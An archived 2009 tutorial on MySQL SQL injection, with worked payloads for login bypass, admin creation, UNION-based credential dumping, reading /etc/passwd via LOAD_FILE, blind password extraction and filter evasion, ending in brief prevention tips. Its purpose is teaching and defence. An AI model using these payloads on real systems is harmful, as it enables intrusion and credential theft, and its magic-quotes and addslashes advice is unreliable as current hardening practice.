Zoom Icon

MySQL: Secure Web Apps

From UIC Archive

MySQL: Secure Web Apps - SQL Injection techniques


MySQL: Secure Web Apps
Author: Omni
Website: http://playhack.net/
Date: 29/02/2009 (dd/mm/yyyy)
Level: Working brain required
Language: English Flag English.gif


Hi everybody! I'm here again to write a little, but I hope interesting, paper concerning Web Application Security. The aim of these lines are to help you to understand security flaws regarding SQL Injection.

I know that maybe lots of things here explained are a little bit old; but lots of peopleasked to me by email how to find/to prevent SQL Injection flaws in their codes.

Yes, we could say that this is the second part of my first paper regarding PHP flaws (PHP Underground Security) wrote times ago; where I explained in a very basic form the SQL Injection (The reason? The focus was on an other principal theme).

How I wrote this paper? In my free time, a couple of lines to help people to find, prevent this kind of attacks. I hope you enjoy it. For any question or whatever please contact me here: omni_0 [at] yahoo [DOT] com .

Injecting SQL

As you know almost every dynamic web applications use a database (here we talk about web application based on "LAMP architecture") to store any kind of data needed
by the application such as images path, texts, user accounts, personal information, goods in stock, etc.

The web application access to those information by using the SQL (Structured Query Language). This kind of applications construct one or more SQL Statement to query the DataBase (and for example to retrieve data); but this query sometimes incorporporate user-supplied data. (take in mind this)

What about SQL? SQL is a DML (Data Manipulation Language) that is used to insert, retrive and modify records present in the DataBase.

As I said before web application uses user-supplied data to query the DB but if the supplied data is not properly sanitized before being used this can be unsafe and an attacker can INJECT HIS OWN SQL code.
These flaws can be very destructive because an attacker can:

  • Inject his data
  • Retrive information about users, CC, DBMS.. (make a kind of information gathering)
  • and so on..

The fundamentals of SQL Injection are similar to lots of DBMS but, as you know there are some differences, in this paper I will cover "Exploting SQL Injection in MySQL DBMS" as said upon (this means that if you want to test techniques here explained on others DBMS you need to try at your own).

Exploiting a Login Form

Sometimes happends that coders doesn't properly sanitize 2 important variables such as user-name and password in the login form and this involve a critical vulnerability that will allow to the attacker the access to a reserved area.
Let's make an example query here below: SELECT * FROM users WHERE username = 'admin' and password = 'secret' With this query the admin supply the username 'admin' and the password 'secret' if those are true, the admin will login into the application.
Let us suppose that the script is vulnerabile to sql injection; what happends if we know the admin username (in this case 'admin')? We don't know the password, but can we make an SQL Injection attack? Yes, easily and then we can gain the access to the application.
In this way: SELECT * FROM users WHERE username = 'admin' /*' and password = 'foobar' So, we supplied this information:

  • As username = admin' /*
  • As password = foobar (what we want..)

Yes, the query will be true because admin is the right username but then with the ' /* ' symbol we commented the left SQL Statement.

Here below a funny (but true) example: $sql = "SELECT permissions, username FROM $prefix"."auth WHERE username = '" . $_POST['username'] . "' AND password = MD5('".$_POST['wordpass']."');";

$query = mysql_query($sql, $conn); The variables passed with the POST method are not properly sanitized before being used and an attacker can inject sql code to gain access to the application.
This is a simple attack but it has a very critical impact.

Exploiting Different SQL Statement Type

SQL Language uses different type of statements that could help the programmer to make different queries to the DataBase; for example a SELECTion of record, UPDATE, INSERTing new rows and so on. If the source is bugged an attacker can "hack the query" in multiple ways; here below some examples.

SELECT Statement

SELECT Statement is used to retrieve information from the database; and is frequentely used "in every" application that returns information in response to a user query. For example SELECT is used for login forms, browsing catalog, viewing users infos, user profiles, in search engines, etc. The "point of failure" is often the WHERE clause where exactly the users put their supplied arguments.
But sometimes happends that the "point of failure" is in the FROM clause; this happends very rarely.

INSERT Statement

INSERT statement is used to add new row in the table; and sometimes the application doesn't properly sanitize the data, so a query like the beneath could be vulnerable: INSERT INTO usr (user, pwd, privilege) VALUES ('new', 'pwd', 10) What happends if the pwd or username are not safe? We can absolutely "hack the query" and perform a new interesting query as shown below: INSERT INTO usr (user, pwd, privilege) VALUES ('hacker', 'test', 1)/*', 3) In this example the pwd field is unsafe and is used to create a new user with the admin privilege (privilege = 1):

   $SQL= "INSERT INTO usr (user, pwd, id) VALUES ('new', '".$_GET['p']."', 3)";
   $result = mysql_query($SQL);

UPDATE Statement

UPDATE statement is used (as the word says) to UPDATE one or more records. This type of statement is used when users (logged into the application) need to change their own profile information; such as password, the billing address, etc. An example of how the UPDATE statement works is shown below: UPDATE usr SET pwd='newpwd' WHERE user = 'billyJoe' and password = 'Billy' The field pwd in the update_profile.php form is absolutely "a user-supply data"; so, try to imagine what happends if the code is like the (vulnerable) code pasted below: </code lang="php">

   $SQL = "UPDATE usr SET pwd='".$_GET['np']."' WHERE user = 'billyJoe' and pwd = 'Billy'";
   $result = mysql_query($SQL);

</code> In this query the password needs to be correct (so, the user needs to know his own password :D) and the password will be supplied with the GET method; but leave out this detail (it's not so important for our code injection) and concentrate to the new password field (supplied by $_GET['np'], that is not sanitized); what happeds if we will inject our code here? Let see below: UPDATE usr SET pwd='owned' WHERE user='admin'/*' WHERE user = 'ad' and pwd = 'se' here we just changed the admin password to ' owned ' :) sounds interesting right?


The "UNION SELECT Statement" is used in SQL to combine the results of 2 or more different SELECT query; obviously in one result.
This kind of statement is very interesting because when you have a SELECT query often you can add your own UNION SELECT statement to combine the queries (sure, only if you have a "bugged sql statement") and view the 2 (or more) results in only one result set. To better understand what I mean I think is better to see an interesting example and put our hands on it.
Here is our vulnerable code:

$SQL = "select * from news where id=".$_GET['id'];

$result = mysql_query($SQL);

if (!$result) {

   die('Invalid query: ' . mysql_error());


// Our query is TRUE if ($result) { echo '

WELCOME TO www.victim.net NEWS
'; while ($row = mysql_fetch_array($result, MYSQL_NUM)) {

   echo '
'; echo '



As we can see the $SQL variable is vulnerable and an attacker can inject his own code into it and then gain interesting information. What happends if via browser we call this URL: http://www.victim.net/CMS/view.php?id=1 ?
Nothing interesting, just our news with the ID equal to 1, here below:

WELCOME TO www.victim.net NEWS

Title:testing news

News: what about SQL Injection?

How to make this interesting? :) We can use our UNION SELECT operator, and the resultant query will be: select * from news where id=1 UNION SELECT * FROM usr WHERE id = 1 What is gonna happend? Look below: WELCOME TO www.victim.net NEWS

Title:testing news

News: what about SQL Injection? Title:secret

News: 1

"Title: secret" is the admin password (ID = 1 is the admin in most cases) and the 1 in the "News:" is the admin ID. So, why our output is so strange? This is not strange our tables has been made in different ways. Just to make things clear look the tables below: mysql> select * from usr;

| user | pwd | id |

| admin | secret | 1 |

| ad | aaaaa | 2 |

| new | test | 5 |

mysql> select * from news;

| id | title | texts |

| 1 | testing news | what about SQL Injection? |

| 2 | testing news 2 | could be bypassed easily? |

//Our UNION SELECT query will be:

mysql> select * from news where id = 1 union select * from usr where id = 1;

| id | title | texts |

| 1 | testing news | what about SQL Injection? |

| admin | secret | 1 |

Is now clear? We have found the admin password. It's great!
Ok, lets go deeper; what happends if we have 2 tables with a different number of columns? Unfortunaltely UNION SELECT doesn't work as show upon. I want to make 2 different examples to help you.


mysql> select * from Anews;

| title | texts |

| testing news 2 | could be bypassed easily? |

mysql> select * from Anews union select * from usr; ERROR 1222 (21000): The used SELECT statements have a different number of columns Yes, this is what happends if the UNION SELECT is used and the tables have a different number of columns. So, what we can do to bypass this? mysql> select * from Anews union select id, CONCAT_WS(' - ', user, pwd) from usr;

| title | texts |

| testing news 2 | could be bypassed easily? |

| 1 | admin - secret |

| 2 | ad - aaaaa |

| 5 | new - test |

We bypassed "the problem" just using a MySQL function CONCAT_WS (CONCAT can be used too). Take in mind that different DBMS works in different way. I'm explaining in a general manner; therefore sometimes you have to find other ways. :)


mysql> select * from fnews;

| id | pri | title | texts |

| 1 | 0 | testing news 2 | could be bypassed easily? |

What we can do now? Easy, just add a NULL field!! mysql> select * from fnews union select NULL, id, user, pwd from usr;

| id | pri | title | texts |

| 1 | 0 | testing news 2 | could be bypassed easily? |

| NULL | 1 | admin | secre |

| NULL | 2 | ad | aaaaa |

| NULL | 5 | new | test |

Basic Victim Fingerprinting

In this part of the paper I'll explain some easy, but interesting, ways used while trying to do information gathering before the Vulnerability Assessment and Penetration Test steps.
This is our scenario: we found a bugged Web Application on the host and we can inject our SQL code.
So, what we need to know? Could be interesting to know the mysql server version; maybe it's a bugged version and we can exploit it.
How to do that? (I will not use bugged code; I'll just make some examples. Use your mind to understand how to use "these tips") mysql> select * from fnews WHERE id = 1 union select version(), NULL, NULL, NULL from usr;

| id | pri | title | texts |

| 1 | 0 | testing news 2 | could be bypassed easily? |

| 5.0.22-Debian | NULL | NULL | NULL |

Here our mysql version. Also the OS has been putted on the screen :) (take in mind that sometimes these information are modified).
Could be interesting to know the server time: mysql> select * from fnews WHERE id = 1 union select NOW(), NULL, NULL, NULL from usr;

| id | pri | title | texts |

| 1 | 0 | testing news 2 | could be bypassed easily? |

| 2009-02-27 00:03:56 | NULL | NULL | NULL |

Yes, sometimes is useful to know what is the user used to connect to the database. mysql> select * from fnews WHERE id = 1 union select USER(), NULL, NULL, NULL from usr;

| id | pri | title | texts |

| 1 | 0 | testing news 2 | could be bypassed easily? |

| [email protected] | NULL | NULL | NULL |

An interesting function implemented in mysql server is LOAD_FILE that, as the word say, is able to load a file. What we can do with this? gain information and read files. Here below the query used as example: select * from news where id=1 union select NULL,NULL,LOAD_FILE('/etc/passwd') from usr; This is what my FireFox shows to me: http://www.victim.net/CMS/view.php?id=1%20union%20select%20NULL,NULL,LOAD_FILE('/etc/password')%20from%20usr;

WELCOME TO www.victim.net NEWS

Title:testing news

News: what about SQL Injection? Title:

News: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh [...] [output cutted] [...]

Sounds interesting right, don't you?
Could be interesting to get some sensitive information such as mysql users and passwords right? By injecting our code as shown below we can get such that information. SELECT * FROM news WHERE id='1' UNION SELECT Host, User, Password FROM mysql.user/*'

Standard Blind SQL Injection

SQL Injection and Blind SQL Injection are attacks that are able to exploit a software vulnerability by injecting sql codes; but the main difference between these attacks is the method of determination of the vulnerability.
Yes, because in the Blind SQL Injection attacks, attacker will look the results of his/her requests (with different parameter values) and if these results will return the same information he/she could obtain some interesting data. (I know, it seems a bit strange; but between few lines you will understand better).
But why Standard Blind SQL Injection? What does it mean? In this part of the paper I'll explain the basic way to obtain information with Blind SQL Injection without bear in mind that this type of attacks could be optimized. I don't wanna talk about the methods to optimize a Blind SQL Injection attack.(Wisec found interesting things about that - "Optimizing the number of requests in blind SQL injection").
Ok, let's make a step forward and begin talking about Detection of Blind SQL Injection.
To test this vulnerability we have to find a condition that is always true; for example 1=1 is always TRUE right? Yes, but when we have to inject our code in the WHERE condition we don't know if our new injected query will be true or false; therefore we have to make some tests. When the query is true? The query is true when the record returned contain the correct information. Maybe is a little bit strange this explanation but to make things clear I wanna let you see an example. Suppose that we requested this URL:

http://www.victim.net/CMS/view.php?id=1 WELCOME TO www.victim.net NEWS

Title:testing news

News: what about SQL Injection? As you can see we have just viewed our first news (id=1). What happends if we request this other URL: www.victim.net/CMS/view.php?id=1 AND 1=1 ? In our browser we just see the same page because the query is obviously true. Here below the injected query: SELECT * FROM news WHERE id=1 AND 1=1 LIMIT 1 Now, we (I hope) have understood what is a Blind SQL Injection; and to understand better how we can use this, I want to make a simple example/scenario. I'm thinking that the web application is connected to MySQL using the user omni; how to know this by using Blind SQL Injection? Just requesting this URL: http://www.victim.net/CMS/view.php?id=1 AND USER()[email protected]' and watch the reply sent on our browser. If in our FireFox (or whatever you want) we will see the news with ID=1 we know that omni is the user used to connect to the mysql deamon (because the query is true; and we found the true value to pass to the query).
Let's go deeper. What we can do with Blind SQL? Could be interesting to retrieve the admin password. How to do that? First of all to understand better the steps I'm going to explain we need to know some basic information.
Function used in MySQL:


Returns the numeric value of the leftmost character of the string str. Returns 0 if str is the empty string. Returns NULL if str is NULL. ASCII() works for 8-bit characters. mysql> select ascii('a');

| ascii('A') |

| 97 |

mysql> select ascii('b');

| ascii('b') |

| 98 |


If the leftmost character of the string str is a multi-byte character, returns the code for that character, calculated from the numeric values of its constituent bytes using this formula:

 (1st byte code) + (2nd byte code x 256) + (3rd byte code x 2562) ...

If the leftmost character is not a multi-byte character, ORD() returns the same value as the ASCII() function.

SUBSTRING(str,pos), SUBSTRING(str FROM pos), SUBSTRING(str,pos,len), SUBSTRING(str FROM pos FOR len)

The forms without a len argument return a substring from string str starting at position pos. The forms with a len argument return a substring len characters long from string str, starting at position pos. The forms that use FROM are standard SQL syntax. It is also possible to use a negative value for pos. In this case, the beginning of the substring is pos characters from the end of the string, rather than the beginning.
A negative value may be used for pos in any of the forms of this function.

SUBSTR(str,pos), SUBSTR(str FROM pos), SUBSTR(str,pos,len), SUBSTR(str FROM pos FOR len)

SUBSTR() is a synonym for SUBSTRING(). mysql> select substring('Blind SQL', 1, 1);

| substring('Blind SQL', 1, 1) |

| B |

mysql> select substring('Blind SQL', 2, 1);

| substring('Blind SQL', 2, 1) |

| l |


Returns the string str with all characters changed to lowercase according to the current character set mapping. The default is latin1 (cp1252 West European). mysql> SELECT LOWER('SQL');

| LOWER('SQL') |

| sql |


Returns the string str with all characters changed to uppercase according to the current character set mapping. The default is latin1 (cp1252 West European). mysql> SELECT UPPER('sql');

| UPPER('sql') |

| SQL |

Now we have understood the principals MySQL functions that could be used while trying to do a Blind SQL Injection attack. (consult MySQL reference manuals for others)
What we need again? Suppose that we know for a moment the admin password: "secret". mysql> select ascii('s');

| ascii('s') |

| 115|

mysql> select ascii('e');

| ascii('e') |

| 101|

mysql> select ascii('c');

| ascii('c') |

| 99 |

mysql> select ascii('r');

| ascii('r') |

| 114|

mysql> select ascii('t');

| ascii('t') |

| 116|

It's time to watch the source code: [ ... ]

$SQL = "select * from news where id=".$_GET['id']." LIMIT 1";

$result = mysql_query($SQL);

if (!$result) {

   die('Invalid query: ' . mysql_error());


[ ... ] Now, try to "exploit the bug" by requesting this URL: http://www.victim.net/CMS/view.php?id=1 AND ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),1,1)) = 115 WELCOME TO www.victim.net NEWS

Title:testing news

News: what about SQL Injection? The query is TRUE (we know that the first letter of the password is 's') and therefore, the query will be: SELECT * FROM news WHERE id=1 AND ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),1,1)) = 115 LIMIT 1

What is the number 115? Read upon is the ascii value of the 's'. We retrieved the first character of the password (by using some MySQL functions).

  • (SELECT pwd FROM usr WHERE id=1) => SELECT the password of the user with ID=1 (admin)
  • (SUBSTRING((SELECT pwd FROM usr WHERE id=1),1,1) => Get the first letter of the password (in this case 's')
  • ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),1,1)) => Get the ASCII code of the first letter (115 in this case)

And how to retrieve the second letter of the password? Just carry out this query: SELECT * FROM news WHERE id=1 AND ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),2,1)) = 101 LIMIT 1 by requesting this URL: http://www.victim.net/CMS/view.php?id=1 AND ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),2,1)) = 101 The third character? And the others? Just make the same query with the right values.
Take in mind that you can also use the "greater then" (>) and "less then" (<) symbols instead of the equal; to find the ASCII letter between a range of letters. Eg.: between 100 and 116; and so on.

Double Query

Sometimes in some codes happends that a programmer use the MySQLi Class (MySQL Improved Extension) that is an extension allows you to access to the functionality provided by MySQL 4.1 and above. <nr/> I'll explain a very interesting bug that could be very dangerous for the system. A not properly sanitized variable passed in the method called multi_query of the mysqli class can be used to perform a "double" sql query injection.
mysqli_multi_query (PHP 5) is able to performs one or more queries on the database selected. The queries executed are concatenated by a semicolon.
Look this example to know what I'm talking about: <?php $mysqli = new mysqli("localhost", "root", "root", "test");

if (mysqli_connect_errno()) {

   printf("Connect failed: %s\n", mysqli_connect_error());


$query = "SELECT user FROM usr WHERE id =". $_GET['id'].";"; $query .= "SELECT texts FROM news WHERE id =". $_GET['id'];

   echo 'UserName: ';

if ($mysqli->multi_query($query)) {

   do {
       /* the first result set */
       if ($result = $mysqli->store_result()) {
           while ($row = $result->fetch_row()) {
               echo " - " .$row[0]. "
" ; } $result->free(); } /* print divider */ if ($mysqli->more_results()) { echo "/-/-/-/-/-/-/-/-/-/-/-/-/-/
"; } } while ($mysqli->next_result());


/* close connection */ $mysqli->close(); ?> If a user request the follow URL: http://www.victim.net/CMS/multiple.php?id=2 The browser reply with this information: UserName: - ad - could be bypassed easily? But the source code is bugged. The $query variable is vulnerable because a user can supply using the GET method, an evil id and can do multiple (evil) queries.
Trying with this request: http://localhost/apache2-default/multiple1.php?id=2; SELECT pwd FROM usr/* We will obtain the users passwords.

UserName: - ad /-/-/-/-/-/-/-/-/-/-/-/-/-/ - secret - adpwd - test

Filters Evasion

Web Application could implements some input filters that prevent an attacker from exploiting certain flaws such as SQL Injection, LFI or whatever. Therefore an application can use some mechanism that are able to sanitize, block or parse in some ways user-supply data. This kind of filters could be bypassed by using differents methods, here I wanna try to give to you some ideas; but certainly one filter differ from an other one so, you have to try/find different methods to bypass it.

  • Imagine that we have to bypass a login form; but the comment symbol is blocked, we can bypass this issue but injecting this data ' OR 'a' = 'a instead of ' OR 1 = 1 /*
  • The filter try to prevent an SQL Injection by using this kind of Signature: ' or 1=1 (Case-insensitive). An attacker can bypass this filter using ' OR 'foobar' = 'foobar for example.
  • Suppose that the application filter the keyword "admin", to bypass this filter we have just to use some MySQL functions such as CONCAT or CHAR for example:

union select * from usr where user = concat('adm','in')/* union select * from usr where user=char(97,100,109,105,110)/* This is only a little part of "filter evasion techniques". Different filters work differently, I can't stay on this topic forever; I just gave to you some ideas.

SQL Injection Prevention

How to prevent this type of attacks? Here below I just wanna write some tips that you can use to make your web application more secure.

1.) The file php.ini located on our HD (/etc/php5/apache2/php.ini, /etc/apache2/php.ini, and so on..) can help us with the magic quote functions. Other interesting functions can be setted to On; take a look inside this file.
Magic quotes can be used to escape automatically with backslash the user-supply single-quote ('), double-quote ("), backslash (\) and NULL characters. The 3 magic quotes directives are:

  • magic_quotes_gpc, that affects HTTP request data such as GET, POST and COOKIE.
  • magic_quotes_runtime, if enabled, most functions that return data from an external source, will have quotes escaped with a backslash.
  • magic_quotes_sybase, that escape the ' with instead of \'.

2.) deploy mod_security for example
3.) use functions such as addslashes() htmlspecialchars(), mysql_escape_string(), etc. to validate every user inputs.
4.) For integer input validate it by casting the variable


Here we are, at the end of this paper. As said upon, I hope you enjoyed it and for any questions please mail me.


I documenti qui pubblicati sono da considerarsi pubblici e liberamente distribuibili, a patto che se ne citi la fonte di provenienza. Tutti i documenti presenti su queste pagine sono stati scritti esclusivamente a scopo di ricerca, nessuna di queste analisi è stata fatta per fini commerciali, o dietro alcun tipo di compenso. I documenti pubblicati presentano delle analisi puramente teoriche della struttura di un programma, in nessun caso il software è stato realmente disassemblato o modificato; ogni corrispondenza presente tra i documenti pubblicati e le istruzioni del software oggetto dell'analisi, è da ritenersi puramente casuale. Tutti i documenti vengono inviati in forma anonima ed automaticamente pubblicati, i diritti di tali opere appartengono esclusivamente al firmatario del documento (se presente), in nessun caso il gestore di questo sito, o del server su cui risiede, può essere ritenuto responsabile dei contenuti qui presenti, oltretutto il gestore del sito non è in grado di risalire all'identità del mittente dei documenti. Tutti i documenti ed i file di questo sito non presentano alcun tipo di garanzia, pertanto ne è sconsigliata a tutti la lettura o l'esecuzione, lo staff non si assume alcuna responsabilità per quanto riguarda l'uso improprio di tali documenti e/o file, è doveroso aggiungere che ogni riferimento a fatti cose o persone è da considerarsi PURAMENTE casuale. Tutti coloro che potrebbero ritenersi moralmente offesi dai contenuti di queste pagine, sono tenuti ad uscire immediatamente da questo sito.

Vogliamo inoltre ricordare che il Reverse Engineering è uno strumento tecnologico di grande potenza ed importanza, senza di esso non sarebbe possibile creare antivirus, scoprire funzioni malevole e non dichiarate all'interno di un programma di pubblico utilizzo. Non sarebbe possibile scoprire, in assenza di un sistema sicuro per il controllo dell'integrità, se il "tal" programma è realmente quello che l'utente ha scelto di installare ed eseguire, né sarebbe possibile continuare lo sviluppo di quei programmi (o l'utilizzo di quelle periferiche) ritenuti obsoleti e non più supportati dalle fonti ufficiali.